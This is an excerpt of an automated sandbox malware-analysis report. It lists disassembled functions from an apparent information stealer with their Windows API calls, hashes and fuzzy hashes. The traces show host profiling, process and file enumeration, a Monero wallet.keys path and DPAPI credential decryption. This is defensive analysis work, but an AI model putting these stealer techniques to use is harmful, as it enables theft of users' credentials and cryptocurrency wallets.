Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b10a263900a57525e41089ef8ed7d55c3857a60f11dc7be065b2e5c9d779bdee
Instruction ID: 4f8e2d38002b07f9e0677bf44516d4c05a156bb1b3df8f69fe83f1d3352c0233
Opcode Fuzzy Hash: b10a263900a57525e41089ef8ed7d55c3857a60f11dc7be065b2e5c9d779bdee
Instruction Fuzzy Hash: 52414D71940218ABDB64DB94DC99BEEB778FF54700F204199E409A22D1DB742F86CFA2

Function 007FE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00810D73), ref: 007FE4A2
StrCmpCA.SHLWAPI(?,008114F8), ref: 007FE4F2
StrCmpCA.SHLWAPI(?,008114FC), ref: 007FE508
FindNextFileA.KERNEL32(000000FF,?), ref: 007FEBDF

Strings

\*.*, xrefs: 007FE44D

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 3985847b9434ad3f1028419db0c4c1f74e0046f33b4bc29a783bc86056f34907
Instruction ID: 8dea1c724be79fcabd00cbb1dafa371c7bf980a46b5746707feadc4231ccdedd
Opcode Fuzzy Hash: 3985847b9434ad3f1028419db0c4c1f74e0046f33b4bc29a783bc86056f34907
Instruction Fuzzy Hash: EA122F71A102189ADB98FB64DC96EEE7339FF54300F4081A8B54AD61D1EE346F49CB93

Function 00809600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0080961E
Process32First.KERNEL32(00810ACA,00000128), ref: 00809632
Process32Next.KERNEL32(00810ACA,00000128), ref: 00809647
StrCmpCA.SHLWAPI(?,00000000), ref: 0080965C
CloseHandle.KERNEL32(00810ACA), ref: 0080967A

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: cc2e0df209d8d2e279d8ac2bf9b72e75b54d937d5229ddd8218f844d2ef9c153
Instruction ID: b77b191da9c1310b105c74e54120dc600cb7c43e7a588414a61c7d715f9e5e25
Opcode Fuzzy Hash: cc2e0df209d8d2e279d8ac2bf9b72e75b54d937d5229ddd8218f844d2ef9c153
Instruction Fuzzy Hash: 130100B5A00218ABCB54DFA5DD48BDDB7F8FB58700F104188F545D6290D7359B41CF51

Function 00808680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,008105B7), ref: 008086CA
Process32First.KERNEL32(?,00000128), ref: 008086DE
Process32Next.KERNEL32(?,00000128), ref: 008086F3

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

CloseHandle.KERNEL32(?), ref: 00808761

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: bd45bbccf44911b70ca0b5c84100f5db77d3660f679ba19c1a38e288d94377f4
Instruction ID: 023490406bb2ae492b61f641dca3d46c494b609918200c6bc599a038fa8ff175
Opcode Fuzzy Hash: bd45bbccf44911b70ca0b5c84100f5db77d3660f679ba19c1a38e288d94377f4
Instruction Fuzzy Hash: 19315071901218EBDB68DF94CC45FEEB778FF55700F1041A9B50AE2190DB746A85CFA2

Function 00807A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0135E1A0,00000000,?,00810E10,00000000,?,00000000,00000000), ref: 00807A63
RtlAllocateHeap.NTDLL(00000000), ref: 00807A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0135E1A0,00000000,?,00810E10,00000000,?,00000000,00000000,?), ref: 00807A7D
wsprintfA.USER32 ref: 00807AB7

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: f7620f8cbe13acd7b4ba9c729bc11bc8688a12d4ac8fcb14c897844ea9e826e9
Instruction ID: d650253bda41a6f3909ee5436e1767b868ee5805345d9e4f5885f9f1f6a67891
Opcode Fuzzy Hash: f7620f8cbe13acd7b4ba9c729bc11bc8688a12d4ac8fcb14c897844ea9e826e9
Instruction Fuzzy Hash: BD117CB1A45228EBEB20CB94DC49FA9B778FB04721F10429AF91A932C0C7741A44CF51

Function 007F9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 007F9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 007F9BA3
LocalFree.KERNEL32(?), ref: 007F9BD3

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: deb8231accec3ae11a0dfa22ec46ef04717096160d925659ffe63322530af94f
Instruction ID: 2438f521d9877f52989d38a8004bef6586d1dcf67381dbeb9ba898b22f0983a2
Opcode Fuzzy Hash: deb8231accec3ae11a0dfa22ec46ef04717096160d925659ffe63322530af94f
Instruction Fuzzy Hash: CB11CCB4A00209DFDB04DF94D985AAEB7B5FF88300F104558F915A7350D774AE11CF61

Function 008078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807910
RtlAllocateHeap.NTDLL(00000000), ref: 00807917
GetComputerNameA.KERNEL32(?,00000104), ref: 0080792F

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 0183b50c1831df6ca494d86db406f8947016a5b44fd0b80770679bd42c05c514
Instruction ID: 9d17fba421ddca9bd00f1ba6a318d77dd7f38ce710e07974452a48f858e0f112
Opcode Fuzzy Hash: 0183b50c1831df6ca494d86db406f8947016a5b44fd0b80770679bd42c05c514
Instruction Fuzzy Hash: DA0186B1904208EFC740DFD8DD45BAABBB8FB04B21F104219F645E32C0C37859048BA1

Function 00807850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007F11B7), ref: 00807880
RtlAllocateHeap.NTDLL(00000000), ref: 00807887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0080789F

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
